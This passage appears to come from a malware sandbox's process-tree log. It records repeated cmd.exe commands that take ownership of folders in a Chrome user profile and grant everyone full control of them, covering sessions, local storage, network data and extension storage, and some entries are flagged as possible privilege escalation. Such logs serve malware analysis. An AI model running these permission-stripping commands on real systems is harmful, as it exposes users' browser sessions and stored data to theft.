  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\tr && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\tr /grant everyone:(f)
  2⤵
  PID:4980
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\tr
    3⤵
    PID:840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\uk && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\uk /grant everyone:(f)
  2⤵
  PID:220
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\uk
    3⤵
    PID:4484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\vi && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\vi /grant everyone:(f)
  2⤵
  PID:1656
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\vi
    3⤵
    PID:3320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_CN && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_CN /grant everyone:(f)
  2⤵
  PID:4752
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_CN
    3⤵
    PID:4400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_TW && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_TW /grant everyone:(f)
  2⤵
  PID:3632
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_TW
    3⤵
    PID:2392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata /grant everyone:(f)
  2⤵
  PID:1468
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata
    3⤵
    PID:1680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp /grant everyone:(f)
  2⤵
  PID:2684
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp
    3⤵
    PID:3024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker /grant everyone:(f)
  2⤵
  PID:4852
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker
    3⤵
    - Modifies file permissions
    PID:3256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB /grant everyone:(f)
  2⤵
  PID:3588
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB
    3⤵
    PID:4436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB /grant everyone:(f)
  2⤵
  PID:4388
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB
    3⤵
    PID:1712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store /grant everyone:(f)
  2⤵
  PID:4800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store
    3⤵
    - Possible privilege escalation attempt
    PID:3084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption /grant everyone:(f)
  2⤵
  PID:696
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache /grant everyone:(f)
  2⤵
  PID:1376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache
    3⤵
    PID:888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings /grant everyone:(f)
  2⤵
  PID:4468
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings
    3⤵
    PID:3952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi /grant everyone:(f)
  2⤵
  PID:1200
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi
    3⤵
    PID:4288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage /grant everyone:(f)
  2⤵
  PID:4912
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage
    3⤵
    PID:1524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb /grant everyone:(f)
  2⤵
  PID:4576
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
    3⤵
    PID:3736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network /grant everyone:(f)
  2⤵
  PID:3112
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network
    3⤵
    PID:1860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store /grant everyone:(f)
  2⤵
  PID:3632
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store
    3⤵
    PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db /grant everyone:(f)
  2⤵
  PID:1468
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\parcel_tracking_db
    3⤵
    PID:1056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials /grant everyone:(f)
  2⤵
  PID:2684
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials
    3⤵
    PID:2216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network /grant everyone:(f)
  2⤵
  PID:4852
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network
    3⤵
    PID:1756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform /grant everyone:(f)
  2⤵
  PID:2824
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform
    3⤵
    PID:4940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB /grant everyone:(f)
  2⤵
  PID:408
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB
    3⤵
    PID:4088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB /grant everyone:(f)
  2⤵
  PID:4744
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB
    3⤵
    PID:3864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB /grant everyone:(f)
  2⤵
  PID:3280
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB
    3⤵
    PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker /grant everyone:(f)
  2⤵
  PID:1596
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker
    3⤵
    PID:4884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database /grant everyone:(f)
  2⤵
  PID:4632
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database
    3⤵
    PID:5000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache /grant everyone:(f)
  2⤵
  PID:3732
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache
    3⤵
    PID:220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir /grant everyone:(f)
  2⤵
  PID:4932
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir
    3⤵
    PID:1828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage /grant everyone:(f)
  2⤵
  PID:1984
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage
    3⤵
    PID:1364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions /grant everyone:(f)
  2⤵
  PID:2632
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions
    3⤵
    PID:4624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shared Dictionary && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shared Dictionary /grant everyone:(f)
  2⤵
  PID:3712
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shared Dictionary
    3⤵
    PID:3708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shared Dictionary\cache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shared Dictionary\cache /grant everyone:(f)
  2⤵
  PID:3700
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shared Dictionary\cache
    3⤵
    PID:4176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shared Dictionary\cache\index-dir && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shared Dictionary\cache\index-dir /grant everyone:(f)
  2⤵
  PID:4600
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Shared Dictionary\cache\index-dir
    3⤵
    PID:4464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db /grant everyone:(f)
  2⤵
  PID:4388
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db
    3⤵
    - Possible privilege escalation attempt
    PID:4888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata /grant everyone:(f)
  2⤵
  PID:4800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database /grant everyone:(f)
  2⤵
  PID:4548
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database
    3⤵
    PID:4272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage /grant everyone:(f)
  2⤵
  PID:4360
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage
    3⤵
    PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext /grant everyone:(f)
  2⤵
  PID:1068
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext
    3⤵
    PID:2520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda /grant everyone:(f)
  2⤵
  PID:3276
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
    3⤵
    PID:3320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def /grant everyone:(f)
  2⤵
  PID:1524
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def
    3⤵
    PID:1396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache /grant everyone:(f)
  2⤵
  PID:2916
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache
    3⤵
    PID:1828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data /grant everyone:(f)
  2⤵
  PID:2392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data
    3⤵
    - Possible privilege escalation attempt
    PID:4220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache /grant everyone:(f)
  2⤵
  PID:4788
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache
    3⤵
    PID:3632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js /grant everyone:(f)
  2⤵
  PID:644
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js
    3⤵
    PID:3192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir /grant everyone:(f)
  2⤵
  PID:1372
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir
    3⤵
    PID:3240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm /grant everyone:(f)
  2⤵
  PID:2248
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm
    3⤵
    - Modifies file permissions
    PID:4600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir /grant everyone:(f)
  2⤵
  PID:4464
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir
    3⤵
    PID:4940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache /grant everyone:(f)
  2⤵
  PID:656
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache
    3⤵
    PID:920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache /grant everyone:(f)
  2⤵
  PID:4272
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache
    3⤵
    - Modifies file permissions
    PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage /grant everyone:(f)
  2⤵
  PID:1172
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage
    3⤵
    - Possible privilege escalation attempt
    PID:2552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb /grant everyone:(f)
  2⤵
  PID:944
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb
    3⤵
    PID:4056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network /grant everyone:(f)
  2⤵
  PID:4484
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network
    3⤵
    PID:3444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage /grant everyone:(f)
  2⤵
  PID:2148
